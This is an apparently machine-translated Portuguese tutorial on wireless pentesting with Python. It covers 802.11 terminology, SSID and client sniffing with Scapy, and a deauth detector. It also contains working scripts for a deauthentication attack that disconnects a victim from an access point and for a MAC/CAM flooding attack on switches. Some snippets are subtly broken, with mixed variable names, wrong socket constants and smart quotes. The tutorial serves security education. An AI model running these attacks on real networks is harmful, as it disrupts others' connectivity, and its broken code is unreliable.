Pentesting da rede sem fio
Os sistemas sem fio vêm com muita flexibilidade, mas, por outro lado, também levam a sérios problemas de segurança. E, como isso se torna um sério problema de segurança - porque os invasores, no caso de conectividade sem fio, precisam apenas ter a disponibilidade de sinal para atacar ao invés de ter o acesso físico como no caso de uma rede com fio. O teste de penetração dos sistemas sem fio é uma tarefa mais fácil do que fazer isso na rede com fio. Não podemos realmente aplicar boas medidas de segurança física contra um meio sem fio, se estivermos localizados perto o suficiente, poderíamos "ouvir" (ou pelo menos seu adaptador sem fio é capaz de ouvir) tudo que está fluindo pelo ar.
Pré-requisitos
Antes de começarmos a aprender mais sobre teste de rede sem fio, vamos considerar a discussão de terminologias e o processo de comunicação entre o cliente e o sistema sem fio.
Terminologias importantes
Vamos agora aprender as terminologias importantes relacionadas ao pentesting de rede sem fio.
Ponto de Acesso (AP)
Um ponto de acesso (AP) é o nó central nas implementações sem fio 802.11. Este ponto é usado para conectar usuários a outros usuários dentro da rede e também pode servir como ponto de interconexão entre LAN sem fio (WLAN) e uma rede fixa. Em uma WLAN, um AP é uma estação que transmite e recebe os dados.
Identificador de conjunto de serviço (SSID)
É uma string de texto legível por humanos de 0-32 bytes, que é basicamente o nome atribuído a uma rede sem fio. Todos os dispositivos da rede devem usar esse nome que diferencia maiúsculas de minúsculas para se comunicarem pela rede sem fio (Wi-Fi).
Identificação de conjunto de serviço básico (BSSID)
É o endereço MAC do chipset Wi-Fi em execução em um ponto de acesso sem fio (AP). Ele é gerado aleatoriamente.
Número do canal
Ele representa a faixa de freqüência de rádio usada pelo Ponto de Acesso (AP) para transmissão.
Comunicação entre o cliente e o sistema sem fio
Outra coisa importante que precisamos entender é o processo de comunicação entre o cliente e o sistema wireless. Com a ajuda do diagrama a seguir, podemos entender o mesmo -
The Beacon Frame
No processo de comunicação entre o cliente e o ponto de acesso, o AP envia periodicamente um quadro de beacon para mostrar sua presença. Este quadro vem com informações relacionadas ao SSID, BSSID e número do canal.
O pedido da Sonda
Agora, o dispositivo cliente enviará uma solicitação de teste para verificar os APs no intervalo. Depois de enviar a solicitação de teste, ele aguardará a resposta de teste do AP. A solicitação de investigação contém informações como SSID do AP, informações específicas do vendedor, etc.
A resposta da Sonda
Agora, depois de obter a solicitação de sondagem, o AP enviará uma resposta de sondagem, que contém informações como taxa de dados com suporte, capacidade etc.
O pedido de autenticação
Agora, o dispositivo cliente enviará um quadro de solicitação de autenticação contendo sua identidade.
A resposta de autenticação
Agora, em resposta, o AP enviará um quadro de resposta de autenticação indicando aceitação ou rejeição.
O pedido de associação
Quando a autenticação é bem-sucedida, o dispositivo cliente enviou um quadro de solicitação de associação contendo a taxa de dados suportada e SSID do AP.
A resposta da Associação
Agora, em resposta, o AP enviará um quadro de resposta de associação indicando aceitação ou rejeição. Um ID de associação do dispositivo cliente será criado em caso de aceitação.
Encontrar identificador de conjunto de serviços sem fio (SSID) usando Python
Podemos reunir as informações sobre SSID com a ajuda do método raw socket, bem como usando a biblioteca Scapy.
Método de soquete bruto
Nós já aprendemos isso mon0captura os pacotes sem fio; então, precisamos definir o modo de monitor paramon0. No Kali Linux, isso pode ser feito com a ajuda deairmon-ngroteiro. Depois de executar este script, ele dará um nome à placa wirelesswlan1. Agora, com a ajuda do seguinte comando, precisamos habilitar o modo monitor emmon0 -
airmon-ng start wlan1
A seguir está o método de soquete bruto, script Python, que nos dará o SSID do AP -
Em primeiro lugar, precisamos importar os módulos de soquete da seguinte forma -
import socket
Agora, vamos criar um socket que terá três parâmetros. O primeiro parâmetro nos informa sobre a interface do pacote (PF_PACKET para Linux específico e AF_INET para Windows), o segundo parâmetro nos diz se é um socket raw e o terceiro parâmetro nos diz que estamos interessados em todos os pacotes.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
Agora, a próxima linha ligará o mon0 modo e 0x0003.
s.bind(("mon0", 0x0003))
Agora, precisamos declarar uma lista vazia, que armazenará o SSID dos APs.
ap_list = []
Agora, precisamos chamar o recvfrom()método para receber o pacote. Para que o farejamento continue, usaremos o loop infinito do while.
while True:
packet = s.recvfrom(2048)
A próxima linha de código mostra se o quadro é de 8 bits, indicando o quadro beacon.
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Sniffer SSID com Scapy
Scapy é uma das melhores bibliotecas que podem nos permitir farejar pacotes wi-fi facilmente. Você pode aprender Scapy em detalhes emhttps://scapy.readthedocs.io/en/latest/. Para começar, execute o Sacpy no modo interativo e use o comando conf para obter o valor de iface. A interface padrão é eth0. Agora, como temos a cúpula acima, precisamos alterar esse modo para mon0. Isso pode ser feito da seguinte forma -
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
Vamos agora importar Scapy como uma biblioteca. Além disso, a execução do seguinte script Python nos dará o SSID -
from scapy.all import *
Agora, precisamos declarar uma lista vazia que armazenará o SSID dos APs.
ap_list = []
Agora vamos definir uma função chamada Packet_info(), que terá a lógica de análise de pacote completa. Ele terá o argumento pkt.
def Packet_info(pkt) :
Na próxima instrução, vamos aplicar um filtro que passará apenas Dot11tráfego, o que significa tráfego 802.11. A linha a seguir também é um filtro, que passa o tráfego tendo o tipo de quadro 0 (representa o quadro de gerenciamento) e o subtipo de quadro é 8 (representa o quadro beacon).
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
Agora, a função sniff irá farejar os dados com iface valor mon0 (para pacotes sem fio) e invocar o Packet_info função.
sniff(iface = "mon0", prn = Packet_info)
Para implementar os scripts Python acima, precisamos de uma placa Wi-Fi que seja capaz de farejar o ar usando o modo monitor.
Detectando clientes de ponto de acesso
Para detectar os clientes dos pontos de acesso, precisamos capturar o quadro de solicitação da sonda. Podemos fazer isso da mesma forma que fizemos no script Python para o farejador de SSID usando Scapy. Precisamos darDot11ProbeReqpara capturar o quadro de solicitação da sonda. A seguir está o script Python para detectar clientes de pontos de acesso -
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
Ataques sem fio
Da perspectiva de um pentester, é muito importante entender como ocorre um ataque sem fio. Nesta seção, discutiremos dois tipos de ataques sem fio -
Os ataques de desautenticação (desautenticação)
O ataque de inundação MAC
Os ataques de desautenticação (desautenticação)
No processo de comunicação entre um dispositivo cliente e um ponto de acesso sempre que um cliente deseja se desconectar, ele precisa enviar o quadro de desautenticação. Em resposta a esse quadro do cliente, o AP também enviará um quadro de desautenticação. Um invasor pode tirar vantagem desse processo normal falsificando o endereço MAC da vítima e enviando o quadro de desautenticação para o AP. Devido a isso, a conexão entre o cliente e o AP é interrompida. A seguir está o script Python para realizar o ataque de desautenticação -
Vamos primeiro importar Scapy como uma biblioteca -
from scapy.all import *
import sys
As duas instruções a seguir irão inserir o endereço MAC do AP e da vítima, respectivamente.
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
Agora, precisamos criar o quadro de desautenticação. Ele pode ser criado executando a seguinte instrução.
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
A próxima linha de código representa o número total de pacotes enviados; aqui é 500 e o intervalo entre dois pacotes.
sendp(frame, iface = "mon0", count = 500, inter = .1)
Resultado
Após a execução, o comando acima gera a seguinte saída -
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
Isso é seguido pela criação do quadro de deauth, que é enviado ao ponto de acesso em nome do cliente. Isso fará com que a conexão entre eles seja cancelada.
A questão aqui é como detectamos o ataque desautorizado com o script Python. A execução do seguinte script Python ajudará na detecção de tais ataques -
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
No script acima, a declaração pkt.subtype == 12 indica o quadro de deauth e a variável I que é definida globalmente informa sobre o número de pacotes.
Resultado
A execução do script acima gera a seguinte saída -
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
Os ataques de inundação de endereço MAC
O ataque de inundação de endereço MAC (ataque de inundação de tabela CAM) é um tipo de ataque de rede em que um invasor conectado a uma porta de switch inunda a interface do switch com um grande número de quadros Ethernet com diferentes endereços MAC de origem falsos. Os estouros da tabela CAM ocorrem quando um influxo de endereços MAC é inundado na tabela e o limite da tabela CAM é alcançado. Isso faz com que o switch atue como um hub, inundando a rede com tráfego em todas as portas. Esses ataques são muito fáceis de iniciar. O seguinte script Python ajuda a lançar tal ataque de inundação CAM -
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
O principal objetivo desse tipo de ataque é verificar a segurança do switch. Precisamos usar a segurança da porta se quisermos diminuir o efeito do ataque de inundação de MAC.